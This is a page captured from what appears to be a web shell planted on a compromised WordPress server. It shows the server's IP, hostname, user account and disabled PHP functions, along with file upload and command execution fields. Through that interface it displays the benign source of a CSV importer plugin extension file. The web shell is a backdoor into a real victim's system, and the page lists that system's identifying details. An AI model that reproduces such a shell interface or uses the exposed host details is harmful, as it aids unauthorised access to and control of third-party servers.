403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wp-ultimate-csv-importer/extensionModules/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wp-ultimate-csv-importer/extensionModules/EPOExtension.php
<?php
/**
 * WP Ultimate CSV Importer plugin file.
 *
 * Copyright (C) 2010-2020, Smackcoders Inc - info@smackcoders.com
 */

namespace Smackcoders\FCSV;
 
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

class EPOExtension extends ExtensionHandler{
    private static $instance = null;

    public static function getInstance() {
        if (EPOExtension::$instance === null) {
            EPOExtension::$instance = new EPOExtension();
        }
        return EPOExtension::$instance;
    }

    /**
     * Provides EPO Meta fields for specific post type
     * @param string $data - selected import type
     * @return array - mapping fields
     */
    public function processExtension($data) {
        // Fetch the option data
        $option_data = get_option('thwepof_custom_sections');

        // Unserialize the data safely
        $unserialized_data = maybe_unserialize($option_data);

        $pro_meta_fields = []; // Initialize the variable

        // Validate the structure of the unserialized data
        if (is_array($unserialized_data) && isset($unserialized_data['default']) && is_object($unserialized_data['default']) && isset($unserialized_data['default']->fields)) {
            foreach ($unserialized_data['default']->fields as $field_key => $field_object) {
                // Collect the field keys
                $pro_meta_fields[$field_key] = $field_key;
            }
        }

        $pro_meta_fields = $this->convert_static_fields_to_array($pro_meta_fields);

        // Prepare the response
		$response['epo_meta_fields'] = $pro_meta_fields;
        return $response;
    }

    /**
     * EPO Meta extension supported import types
     * @param string $import_type - selected import type
     * @return boolean
     */
    public function extensionSupportedImportType($import_type) {
        if (is_plugin_active('woo-extra-product-options/woo-extra-product-options.php')) {


            $import_type = $this->import_name_as($import_type);

            if ($import_type === 'WooCommerceOrders') {
                return true;
            }
            else {
                return false;
            }
        }

        return false;
    }

}


Youez - 2016 - github.com/yon3zu